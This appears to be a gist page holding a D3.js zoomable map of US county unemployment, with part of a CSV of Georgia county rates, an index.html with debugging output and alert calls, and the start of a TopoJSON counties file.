13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/c812bfdde1e6f06a4a437eb7112a02d4">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.3&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;a